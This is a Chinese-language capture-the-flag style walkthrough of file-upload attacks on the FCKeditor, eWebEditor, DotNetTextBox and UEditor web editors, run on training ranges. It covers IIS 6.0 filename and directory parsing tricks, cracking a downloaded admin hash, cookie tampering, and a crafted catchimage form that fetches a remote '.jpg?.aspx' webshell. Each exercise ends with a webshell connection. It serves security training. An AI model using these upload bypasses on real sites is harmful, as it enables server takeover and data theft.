编辑器文件上传漏洞
一般的富文本编辑器都是使用一般处理程序上传图片或者文件的,那么黑客就可以利用开发者的疏忽(没有判断权限),直接通过伪造表单上传经过他更改过的木马文件。
FCKeditor 编辑器文件上传漏洞
基础知识
FCKeditor是一款非常优秀的HTML在线编辑器,功能也可以定制。也支持多种浏览器,遵循LGPL版权。FCKeditor是一款文字处理客户端应用,使你在web上可以使用类似微软Word 的桌面文本编辑器的许多强大功能。现已改名为CKEditor。
FCKeditor 编辑器页
1 | /FCKeditor/_samples/default.html |
FCKeditor 常用文件上传目录
1 | /FCKeditor/editor/filemanager/connectors/test.html |
FCKeditor 查看编辑器版本
1 | /FCKeditor/_whatsnew.html |
靶场测试
靶场地址:墨者学院-编辑器漏洞分析溯源(第1题)
服务器版本:IIS 6.0(可通过Goby扫描得到)
1、判断FCKeditor编辑器版本
访问:http://xxx/FCKeditor/_whatsnew.html

当前FCKeditor的版本为2.6.4。
2、判断FCKeditor的上传界面
可以使用扫描器进行枚举,这里我就直接访问常见目录

这两个目录都是可以上传文件的:
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
3、上传文件
当我们打算上传ASP webshell时,弹出警告为无效文件。

那么既然该靶场的服务器为IIS 6.0,我们就可以利用解析漏洞进行文件上传。
IIS 6.0 文件名解析漏洞上传
Burp抓包,将filename的值改为shell.asp;jpg。

提示文件上传没有错误。

点击Get Folders and Files,可以看到文件上传到的目录与该目录下的文件,其中shell.asp;jpg就是我们刚刚上传上去的webshell。

使用蚁剑连接成功

IIS 6.0 目录名解析漏洞上传
使用编辑器创建一个以.asp结尾的文件夹。

创建完文件夹后点击Get Folders and Files查看到刚才创建的文件夹被改了名字,不是名字为my.asp的文件夹,而是my_asp,这样就无法利用iis6.0目录解析漏洞。
经过测试,在上方的当前文件夹改为/my.asp(此时该文件夹还不存在),可以发现不存在这个文件夹。

但是正是在这个不存在的my.asp文件夹下再随便创建一个文件夹后,会发现这个my.asp的文件夹就存在了。

再次查看my.asp文件夹下的内容,发现多出了刚才创建的test文件夹,并且名为my.asp的文件夹也生效了。

接下来就可以在my.asp的文件夹下上传图片马进行获取webshell了。

使用蚁剑成功连接。

eWebEditor 编辑器文件上传漏洞
eWebEditor是一个基于浏览器的在线HTML编辑器,作为国内主要的编辑器之一。常被集成在CMS中或以插件的形式安装在WEB服务中。由于使用时间较长、版本较多,在早期的版本中存在较多的漏洞。
基础知识
eWebEditor 默认后台地址
1 | /admin_login.asp |
建议最好检测admin_style.asp文件是否可以直接访问
eWebEditor 默认数据库路径
1 | /db/ewebeditor.mdb |
靶场测试
靶场地址:墨者学院-编辑器漏洞分析溯源(第2题)
服务器版本:IIS 6.0(可通过Goby扫描得到)
1、通过扫描器进行目录文件枚举
扫描结果如下:

2、获得管理员账号密码
下载ewebeditor.md文件,使用微软的Access打开,打开表eWebEditor_System,可以得到用户名和密码的md5值。

使用somd5对md5值进行反向查询,最终得到的账号和密码的结果:
1 | 账号:admin |
3、进入后台,添加编辑器样式
登录eWebEditor后台

点击“样式管理”,“新增样式”

然后如下设置:

点击“设置此样式下的工具栏”

点击“新增工具栏”,“按钮设置”

添加“插入其他文件”按钮。

再在“样式管理”中选择我们新增的样式test,点击“预览”

4、上传文件
注意:这里需要使用老版本的IE浏览器才可上传文件,新版本的IE浏览器可以打开F12在仿真中的浏览器配置文件中选择“企业”:

当要选择上传ASP WebShell时,警告不是一个有效文件,不过是可以上传cdx和cer文件的

那么更改文件的扩展名为cer,再次上传,在F12中就能看到上传文件的地址

使用蚁剑成功连接

DotNetTextBox 编辑器文件上传漏洞
基础知识
DotNetTextBox是一款计算机在线编辑器,完全支持VS2005设计环境。在ASP.net环境中使用网上对该编辑器有关的资料较少。
DotNetTextBox 默认上传路径
1 | /system_dntb/UploadFile.aspx |
DotNetTextBox 上传功能设置
1 | /system_dntb/Advanced.aspx |
靶场测试
靶场地址:墨者学院-编辑器漏洞分析溯源(第3题)
服务器版本:IIS 6.0(可通过Goby扫描得到)
1、更改上传类型
访问/system_dntb/Advanced.aspx,可上传的文件类型中没有asp文件,若不利用脚本漏洞上传,我们需要添加asp类型上传文件。

文本框和按钮是灰色的,是因为它们的disabled属性为disabled,在审查源代码时删除即可。

再点击更新按钮,即可。

2、上传文件
直接访问时无法上传文件的,就算把按钮的disabled属性删除也无法上传。

刷新页面,使用Burp抓包,修改Cookie值为UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/Upload/;

接着就可以上传文件了

成功连接蚁剑

UEditor 编辑器文件上传漏洞
基础知识
UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码。UEditor目前已经不对其进行后续开发和更新,但还是有许多开发者对其进行二次开发。
官网地址:http://fex.baidu.com/ueditor/
控制器文件
1 | /net/controller.ashx |
控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等。
漏洞描述
Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。
该漏洞的具体分析过程可参考:https://www.freebuf.com/vuls/181814.html
靶场测试
- 操作系统:Windows 2008R2
- Web服务器:IIS 7.5
- 编辑器版本:ueditor1_4_3_3-utf8-net
本地构造一个html,页面用于上传使用
1 | <form action="http://hackrock.com:8227/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> |
shell addr 处填写服务器上图片马地址(这里需要攻击者提供一个外网的域名地址)。构造成以下格式,绕过上传使其解析为 aspx:
http://xxxx/shell.jpg?.aspx

上传成功后,将会得到WebShell的路径。

使用蚁剑成功连接。
